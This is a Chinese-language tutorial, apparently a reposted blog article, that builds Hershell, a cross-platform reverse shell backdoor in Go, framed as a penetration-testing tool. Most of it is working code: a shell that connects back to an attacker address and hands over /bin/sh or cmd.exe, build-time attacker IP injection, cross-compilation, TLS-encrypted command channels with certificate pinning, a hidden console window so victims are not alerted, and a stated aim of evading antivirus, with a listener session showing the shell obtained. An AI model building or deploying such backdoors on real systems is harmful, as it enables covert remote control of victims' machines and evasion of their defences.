go語言可以做滲透測試嗎

2023-01-03 18:01:24

go語言可以做滲透測試。Go在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益於標準庫,一個Go二進位制檔案包含了在目標體系結構上執行的所有必需的程式碼;因此,Go語言應該可以很容易地從相同的原始碼中為多種平臺構建二進位制檔案。

本教學操作環境:windows7系統、GO 1.18版本、Dell G3電腦。

什麼是滲透測試

滲透測試,是一項在計算機系統上進行的授權模擬攻擊,旨在對其安全性進行評估,是為了證明網路防禦按照預期計劃正常執行而提供的一種機制。不妨假設,你的公司定期更新安全策略和程式,時時給系統打修補程式,並採用了漏洞掃描器等工具,以確保所有修補程式都已打上。

go語言可以做滲透測試

下面通過範例來介紹一下:編寫反彈後門 Hershell

在滲透測試過程中,一個必備的工具是眾所周知的、超級棒的Metasploit框架。

該環境包含大量的payload、編碼器和其他工具。在這些payload中Meterpreter有重要意義:它是一個經過開發和後開發命令的修改版的shell。由於其強大的攻擊特性,該shell可能是最常用到的。

Meterpreter的問題

不幸的是,Meterpreter的流行有一個缺點:大多數反病毒和基於簽名的解決方案都能檢測到它。通常在滲透測試過程中,一個含有Meterpreter payload的二進位制檔案會被檢測到,並被傳送進行隔離。

另一個問題可能是缺乏對特定目標體系結構的支援(例如,BSD),迫使我們開發自己的後門。

上述這些問題促使我們編寫Hershell。該專案的目標是提供一個基於單一的原始碼的reverse shell payload,它可以跨平臺,並且不被防毒軟體所發現。

我們使用Go語言開發,它是一種由Google開發的編譯語言。

為什麼使用GO語言?

現今,Python可能是編寫指令碼甚至完成應用程式最流行的語言,尤其是在安全領域。那麼我們為什麼要學習一門新的語言呢?

Go比Python或其他語言具有一種優勢:在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益於標準庫,一個Go二進位制檔案包含了在目標體系結構上執行的所有必需的程式碼。因此,Go語言應該可以很容易地從相同的原始碼中為多種平臺構建二進位制檔案。

目標

在構建這段程式碼時,我們想要實現以下目標:

payload型別是reverse shell;
得到一個跨多個平臺(Windows、Linux、MacOS、ARM)和硬體架構的payload;
容易設定;
加密通訊;
繞過大多數反病毒檢測引擎。
登入後複製

環境準備

從你最喜歡的發行版中安裝Go包,或者從官方網站下載。  

一旦安裝完畢,我們需要設定環境。我們建立一個dev目錄,該目錄將是源、庫和構建二進位制檔案的根:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
登入後複製

該目錄遵循下面的計劃:

bin包含編譯後的二進位制檔案和其他可執行檔案;
pkg包含Go下載包的物件檔案;
src包含你的應用程式和下載包的源目錄。
登入後複製

我的第一個reverse shell

首先,使用Go語言建立一個簡單的TCP reverse shell。

這裡是一個完整的註釋版本,而不是逐行註釋程式碼。

// filename: tcp.go
package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}
登入後複製

首先,我們使用net.Dial建立一個到遠端伺服器的連線。Go標準庫的net包是基於TCP或UDP網路通訊的一個抽象層。 

瞭解更多關於如何使用一個包、檔案(go doc)很有幫助:

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
登入後複製

讓我們回到指令碼。

一旦建立了連線(如果失敗了,程式就停止了),我們將建立一個程序(型別為exec.Cmd的物件),這要歸功於exec.Command函數。所有輸入和輸出(stdout、stdin和stderr)都被重定向到連線,並啟動程序。

然後我們可以編行該檔案:

$ go build tcp.go
$ ./tcp
登入後複製

現在,我們需要開啟偵聽器:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
登入後複製

如預期的那樣,我們得到了reverse shell。 

到目前為止我們大多數的目標尚未實現。

設定

我們現在有一些reverse shell基本程式碼。但是在每次編譯之後我們必須修改,以便定義攻擊者的監聽埠和IP地址。

這種操作雖然不是很便利。但這裡可以引入一個簡單的小技巧:在連線時(在編譯之前)進行變數定義。 

事實上,在構建過程中,可以定義一些變數的值(使用go build命令)。 

這是使用前面程式碼的一個簡短的例子:

// filename: tcp.go
package main
import (
    "net"
    "os" 
    "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}
登入後複製

我們只新增下面一行程式碼,進行一個安全測試以檢查它是否包含一個值:

var connectString string
登入後複製

其程式碼編譯如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
登入後複製

當我們構建二進位制檔案時,攻擊者的IP地址和埠可以被動態定義。 

注意,可以以package.nomVariable的模式存取這些變數,並且這些變數只能是string型別。

為了簡化編譯,我們可以建立一個Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
    rm -f ${OUTPUT}
登入後複製

本文的其餘部分,我們將使用LHOST和LPORT環境變數來定義設定:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
登入後複製

跨平臺

既然可以很容易地設定 payload,也可以跨平臺使用它。

如前所述,payload的強項之一是從同一個程式碼庫使用Go語言為各種架構和平臺進行構建。

準確地說, runtime提供了GOOS和GOARCH變數。 

讓我們看看如何使用GOOS:

// filename: tcp_multi.go
package main
import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}
登入後複製

很顯然,我們新增了一個switch模組來處理GOOS不同的值。因此,我們只是檢查幾個作業系統的值,並且改變每個目標程序。 

上面的程式碼可以進一步簡化,實際上除了Windows,大多數作業系統上都有/bin/sh:

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}
登入後複製

現在,使用GOARCH處理交叉編譯架構非常簡單:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
登入後複製

網路加密

現在,讓我們看看如何加密網路流量。  

有幾種選擇:

用一個自制的方法,在應用程式層建立加密
使用一種被廣泛使用並且在對談層測試協定的方法,即TLS。
登入後複製

鑑於我們都傾向於簡單和安全,我們選擇了很容易用Go語言實現的TLS。標準庫已經支援一切支援TLS的東西。

在使用者端,一個新的&tls.Config型別物件需要設定連線,比如證書鎖定(certificate pinning)。

這是新的程式碼庫,進行了輕微的優化和TLS處理:

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)
var connectString string
func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}
func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}
登入後複製

如範例所示,建立一個TLS通訊端(socket)非常類似於建立一個簡單的TCP socket。不同於tls.Config,tls.Conn物件與net.Conn以相同的方式被使用。

條件編譯

如上圖所示,可以改變取決於目標作業系統的程式執行。

然而,如果你想使用這段程式碼,你會注意到一個問題。cmd.exe視窗會出現,並且無法隱藏,從而會提醒受害者。

幸運的是,exec.Cmd物件的SysProcAttr可以改變這種情況,如本文所述:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,關於syscall.SysProcAttr模組檔案,我們得到以下資訊:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}
登入後複製

然而,在syscall package(包)的原始碼中,我們觀察到每一個構建都有一個特定的實現。

此外,在Windows的exec子方式中,我們注意到SysProcAttr結構有不同的定義。它有一個HidWindow屬性(布林型別),當啟動一個程式時這一屬性允許隱藏啟動視窗。

該屬性也正是我們的後門需要的。

我們可能會被這一實現所吸引:

...
switch runtime.GOOS {
case "windows":
    cmd := exec.Cmd("cmd.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
    cmd := exec.Cmd("/bin/sh")
}
...
登入後複製

然而,由於HideWindow屬性在syscall/exec_linux.go中不存在,因此這種編譯在除了Windows之外的任何其他平臺可能會失敗。

因此,我們需要調整我們的專案的結構,使用條件編譯。條件編譯指的是一種特性,允許新增原始碼檔案頂部編譯器的命令。例如,如果我們想要編譯一個只適用於Windows作業系統的原始檔,我們將新增該命令:

// +build windows !linux !darwin !freebsd
import net
...
登入後複製

當GOOS變數設定為darwin、 linux 或者freebsd時,該命令將指示編譯器不包括該檔案。當然,當值與windows匹配時,編譯器將包含該原始檔。  

為了在我們的專案中實現該條件編譯,我們將遵循這個結構:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go
登入後複製

hershell.go包含程式的核心部分。然後,我們建立一個名為shell的模組,該模組有兩個檔案:適用於Linux和Unix的shell_default.go檔案;以及適用於Windows的shell_windows.go檔案。  

證書鎖定

使用TLS安全通訊是件好事,但只要我們不對伺服器進行身份驗證,流量仍然可以被「中間人」劫持。  

為了預防這種攻擊,我們將驗證伺服器提供的證書,這就叫做「證書鎖定(certificate pinning)」。 

以下函數負責證書鎖定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}
登入後複製

這個函數接受一個tls.Conn物件的指標作為引數,並且包含SHA256格式的指紋證書的一個位元組陣列。在連線過程中,該程式碼掃描所有tls.Conn中的PeerCertificates,直到發現與提供的相匹配的指紋為止。 

如果碰巧沒有證書匹配,函數返回false。

當需要建立與遠端伺服器的連線時,我們只需要呼叫該函數;如果提交的證書是無效的則會關閉連線:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }
        defer conn.Close()
        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}
登入後複製

最初,由於–ldflags,在編譯(在Makefile中)過程中可以生成有效的指紋:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
登入後複製

【相關推薦:Go視訊教學、】

以上就是go語言可以做滲透測試嗎的詳細內容,更多請關注TW511.COM其它相關文章!